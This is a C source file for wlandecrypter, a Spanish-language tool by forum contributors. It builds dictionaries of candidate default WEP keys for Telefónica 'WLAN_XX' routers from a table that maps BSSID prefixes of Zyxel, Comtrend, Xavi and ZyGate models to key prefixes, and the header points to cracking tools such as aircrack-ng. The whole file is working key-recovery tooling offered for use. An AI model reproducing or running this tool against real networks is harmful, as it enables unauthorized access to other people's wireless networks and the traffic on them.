/*****************************************************************************
* Fichero:			wlandecrypter.c
* Autor:                        Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Fecha:			23-03-2006  
* Actualizado:			22-11-2006 por nilp0inter
* Modificado v0.6 :             15-12-2007 por *dudux    dudux[at]elhacker[dot]net
* Modificado v0.7 :             22-11-2008 por *dudux    dudu[at]seguridadwireless[dot]net
* Modificado v0.8 :             12-04-2009 por *dudux    dudu[at]seguridadwireless[dot]net
* Modificado v1.0 :             10-05-2009 por *dudux  // bea vuela muy alto...el cielo es nuestro niña
* Modificado v1.1 :             18-05-2009 por *dudux     Añadida funcion para ESSIDs cambiados 
* Modificado:                   www.seguridadwireless.net    
* 
*
* Descripcion: Generador de diccionario de claves por defecto para los 
* router de Timofonik Zyxel, Xavy y Comtrend.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu 
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
* 
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
* Recomendaciones: wlandecrypter es multiplataforma, solo las ultimas versiones estan empaquetadas
*                  para  linux y  versiones de la Livecd WIFIWAY y WIFISLAX
*                  Hoy en dia estan para todo el mundo
*
*                 * Wlandecrypter 0.7 para  PDAs (Zaurus) gracias a burton de seguridadwireless 
*                 * Wlandecrypter 0.5 para Macintosh 
*                            --->http://wiki.adictolinux.org/index.php/Wlandecrypter_en_Mac_Os_X
*                 * Wlandecrypter 0.5 para windows no se nada,creo que nilp0inter compilo hasta la v0.5
*                 
* Mirar tambien:  wlaninject , wlandestroy , wepattack , weplab y aircrack-ng 
*                 
*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 18
#define MAXINDEX 1
#define VERSION 1
#define SUBVERSION 1
	
//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
	char bssid[18];       //  cambiado de 9 a 11 a 15 a 16 ,17,18
	char init[MAXINDEX][8];
        char init1[MAXINDEX][8]; //añadido v0.7,creara otro indice para la structura Router,por lo que 
	char notas[30];          // para tipo 00:13:49:XX:XX:XX y 00:1A:2B:XX:XX:XX habra un diccionario doble 
                                 // añadido v0.8 nuevo diccionario doble para 00:19:CB:XX:XX:XX 
} tRouter;

//
// Variables globales
//
char hex[16]="0123456789ABCDEF";

//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);
void essidCambiado(FILE *fichero, tRouter routers[MAXROUTER], int bssidId);  // v1.1


//
// MAIN !!!
//
int main(int argc, char *argv[])
{
	int bssidId, i;
	int validHex=0;
	char endKey[2];
	tRouter routers[MAXROUTER];
	FILE *fichero;
	
	if(argc<3 || argc>4)
	{
		muestraAyuda();
		return 1;
	}

        fprintf(stderr, "\nwlandecrypter %i.%i - 2007-2008-2009 dudu[at]seguridadwireless.net\n", VERSION, SUBVERSION);
        fprintf(stderr, "                    2006           nilp0inter2k6_at_gmail.com\n\n");
        fprintf(stderr, "");
        fprintf(stderr, " ---------->  http://www.seguridadwireless.net <----------\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "       uso: wlandecrypter <bssid> <essid> [output file]\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "");
        fprintf(stderr, "  *Essid:\n");
        fprintf(stderr, "         WLAN_??  : Para crear diccionario con todas las posibilidades.\n\n");


                           

	if(strlen(argv[1])!=17)  // 12 caracateres alfanumericos y los 5 puntos dobles
	{
		fprintf(stderr," [-] Longitud de BSSID invalida\n");
		return 1;
	}
		
	initRouters(routers);
	datosRouters(routers);


	bssidId=buscaBssid(routers, argv[1]);

	if(bssidId==-1)
	{
		fprintf(stderr, " [-] BSSID no encontrado\n");
		return 1;
	}
	else
	{
		fprintf(stderr, " [+] BSSID: %s\n" 
				" [+] Modelo: %s\n", argv[1], routers[bssidId].notas);

		for(i=0;i<strlen(argv[2]);i++)
			argv[2][i]=toupper(argv[2][i]);

		//comprueba que el essid empieza por "WLAN_"
		if(strlen(argv[2])<7 || strlen(argv[2])>9 || strncmp("WLAN_", argv[2], 5) != 0 )
		{
			fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
			return 1;
		}
		else
		{
//*************************************************************************************************
// essid cambiado WLAN_??   (idea de tupy de elhacker.net)
//************************************************************************************************* 
                        if(argv[2][5]=='?' && argv[2][6] =='?')
                        {
                                fprintf(stderr," [+] ESSID: %s\n", argv[2]);

                                if(argc>3) // Fichero
                                {

                                        fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
                                        fichero=fopen(argv[3], "a+");
                                        if(fichero!=NULL)
                                        {
                                                essidCambiado(fichero,routers,bssidId);
                                                fclose(fichero);
                                                fprintf(stderr, " [+] Fichero guardado\n");
                                        }
                                        else
                                        {
                                                fprintf(stderr," [-] Error al abrir el fichero\n");
                                                return 1;
                                        }
                                }
                                else
                                {
                                        fprintf(stderr," [+] Seleccionada salida estandar\n");
                                        essidCambiado(stdout,routers,bssidId);
                                }

 

			
                              return 0 ; 
                        }
//****************************************************************************************************
                    //comprueba que el primer caracter despues del "WLAN_" es hexadecimal
			for(i=0;i<strlen(hex);i++)
			{
				if(argv[2][5]==hex[i])
				{
					validHex++;
					break;
				}
			}
			//comprueba que el segundo caracter despues del "WLAN_" es hexadecimal
			for(i=0;i<strlen(hex);i++)
			{
				if(argv[2][6]==hex[i])
				{
					validHex++;
					break;
				}
			}

			if(validHex!=2)
			{
				fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
				return 1;
			}
			else
			{
				endKey[0]=argv[2][5];
				endKey[1]=argv[2][6];

				fprintf(stderr," [+] ESSID: %s\n", argv[2]);
				
				if(argc>3) // Fichero
				{
					
					fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
					fichero=fopen(argv[3], "a+");
					if(fichero!=NULL)
					{
						imprimeClaves(fichero,routers,bssidId,endKey);
						fclose(fichero);
						fprintf(stderr, " [+] Fichero guardado\n");
					}
					else
					{
						fprintf(stderr," [-] Error al abrir el fichero\n");
						return 1;
					}
				}
				else
				{
					fprintf(stderr," [+] Seleccionada salida estandar\n");
					imprimeClaves(stdout,routers,bssidId,endKey);
				}
			}
		}

	}
		
	return 0;
}	

//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
	int i,j;
	for(j=0;j<MAXROUTER;j++)
	{
		strcpy(routers[j].bssid,"");
		for(i=0;i<5;i++)
			strcpy(routers[j].init[i],"");
		strcpy(routers[j].notas,"");
	}
}

//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{

	// Z-com
	strcpy(routers[0].bssid,"00:60:B3\0");
	strcpy(routers[0].init[0],"Z001349\0");
	strcpy(routers[0].notas,"Z-com\0");

	// Xavvy
	strcpy(routers[1].bssid,"00:01:38\0");
	strcpy(routers[1].init[0],"X000138\0");
	strcpy(routers[1].notas,"Xavi 7768r\0");

	// Comtrend
	strcpy(routers[2].bssid,"00:03:C9\0");
	strcpy(routers[2].init[0],"C0030DA\0");
	strcpy(routers[2].notas,"Comtrend 535\0");

	
	// Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
	strcpy(routers[3].bssid,"00:A0:C5\0"); 
	strcpy(routers[3].init[0],"Z001349\0");
	strcpy(routers[3].notas,"Zyxel 650HW/660HW\0");

	// Comtrend NUEVO, gracias a dnreinad por el coche xD
	strcpy(routers[4].bssid,"00:16:38\0");
	strcpy(routers[4].init[0],"C0030DA\0");
	strcpy(routers[4].notas,"Comtrend_536+\0");

	// P-660HW-D1,gracias a Tertulia de foro.elhacker.net  ;)
	strcpy(routers[5].bssid,"00:13:49\0");
	strcpy(routers[5].init[0],"Z001349\0");
        strcpy(routers[5].init1[0],"Z0002CF\0"); //añadido v0.7 ....
	strcpy(routers[5].notas,"P-660HW-D1\0");


        //  ZyGate Communications
        strcpy(routers[6].bssid,"00:02:CF\0");
        strcpy(routers[6].init[0],"Z0002CF\0");
        strcpy(routers[6].init1[0],"Z0023F8\0");  // añadida v1.0  gracias a thedoctor77 ;)
        strcpy(routers[6].notas,"ZyGate\0");

        // Comtrend  nuevos 2007-2008  *dudux y dnreinad 
        strcpy(routers[7].bssid,"00:1A:2B\0");
        strcpy(routers[7].init[0],"C0030DA\0"); 
        strcpy(routers[7].init1[0],"C001D20\0"); //añadido v0.7 ....
        strcpy(routers[7].notas,"Comtrend_DSL\0");      

        // Zygate v06. gracias pianista y Sycho por estar atento
        strcpy(routers[8].bssid,"00:19:CB\0");   
        strcpy(routers[8].init[0],"Z0002CF\0");
        strcpy(routers[8].init1[0],"Z0019CB\0"); // añadido v0.8 (2009) Zyxel FTTH (fibra optica hasta el hogar) 
        strcpy(routers[8].notas,"Zyxel_660hw_FTTH\0");  // gracias Sycho :P

        // Comtrend hrodgar v0.6
        strcpy(routers[9].bssid,"00:19:15\0");
        strcpy(routers[9].init[0],"C0030DA\0");
        strcpy(routers[9].notas,"Comtrend_2008\0");

        // Nuevos version0.7
        // Comtrend 2008 Mugen de el foro.elhacker.net  ;)
        strcpy(routers[10].bssid,"00:30:DA\0");
        strcpy(routers[10].init[0],"C0030DA\0");
        strcpy(routers[10].notas,"Comtrend_536+\0");

        // Comtrend nuevos 2008 
        strcpy(routers[11].bssid,"00:1D:20\0");
        strcpy(routers[11].init[0],"C001D20\0");
        strcpy(routers[11].notas,"Comtrend_536+\0"); 

        //Nuevo version0.9
        // Zyxel P660HW-D1  2009 Gracias a Zim_Zum y a buckynet de seguridadwireless.net
        strcpy(routers[12].bssid,"00:23:F8\0");
        strcpy(routers[12].init[0],"Z0023F8\0");
        strcpy(routers[12].notas,"Zyxel_P660HW-D1\0");  
 
        // Nuevo version1.0
        // Xavy  2009   zim_zum y *dudux
        strcpy(routers[13].bssid,"00:01:36\0");
        strcpy(routers[13].init[0],"X000138\0");
        strcpy(routers[13].notas,"Xavi_7768r_2009\0");




}

//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
	fprintf(stderr, "\nwlandecrypter %i.%i - 2007-2008-2009 dudu[at]seguridadwireless.net\n", VERSION, SUBVERSION);
        fprintf(stderr, "                    2006           nilp0inter2k6_at_gmail.com\n\n");
        fprintf(stderr, "");
        fprintf(stderr, " ---------->  http://www.seguridadwireless.net <----------\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "       uso: wlandecrypter <bssid> <essid> [output file]\n\n");
        fprintf(stderr, "");
        fprintf(stderr, "");
        fprintf(stderr, "  *Essid:\n");
        fprintf(stderr, "         WLAN_??  : Para crear diccionario con todas las posibilidades.\n\n");



        
}

//
// Busca el bssid en la estructura y devuelve el identificador o
//  -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
	int i;
	
	for(i=0;i<strlen(bssid);i++)
		bssid[i]=toupper(bssid[i]);

	for(i=0;i<MAXROUTER;i++)
	{
		if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
			return i;
	}
	
	return -1;
}

//
// Imprime las claves en un fichero 
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
	int i,j,k,l,index=0;
	
	while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
	{
 	
                 // Hay gente que se asusta con estos 4 for anidados  ;)
              for(i=0;i<16;i++)  // 16 digitos hexadecimales
	                for(j=0;j<16;j++)
	                        for(k=0;k<16;k++)
	                                for(l=0;l<16;l++)
	                                {
	                				fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
	                                	
                                                 //añadida este bucle v0.7 para crear un diccionario con las 2 cabeceras posibles
						if(strlen(routers[bssidId].init1[index])!=0)
						{
              			 			fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init1[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);


						}		


					}
		index++;
	}

}

// Funcion para cuando se conserva la key por defecto pero el essid ha cambiado   ejem: WLAN_MARTINEZ  00:01:38:XX:XX:XX
// generara desde WLAN_00 a WLAN_FF todas las keys en un mismo fichero,ocupa 225 MB/480 MB aproximadamente y tarda unos 15-30 minutos 
// en desencriptar, esta funcion me la paso tupy ,que fue quien indago en ella

void essidCambiado(FILE *fichero, tRouter routers[MAXROUTER], int bssidId)
{
	int i,j,k,l,m,n,index=0;
	
	while(index<MAXINDEX && strcmp(routers[bssidId].init[index], ""))
	{
 	
                 // Hay gente que se asusta con estos 4 for anidados  ;)
              for(i=0;i<16;i++)  // 16 digitos hexadecimales
	                for(j=0;j<16;j++)
	                        for(k=0;k<16;k++)
	                                for(l=0;l<16;l++)
						for(m=0;m<16;m++)
							for(n=0;n<16;n++) //AQUI ESTA MI MODIFICACION
	                                {
	                				fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],hex[m],hex[n]);
	                                	
                                                 //añadida este bucle v0.7 para crear un diccionario con las 2 cabeceras posibles
						if(strlen(routers[bssidId].init1[index])!=0)
						{
              			 			fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init1[index],hex[i],hex[j],hex[k],hex[l],hex[m],hex[n]);


						}		


					}
		index++;
	}

}



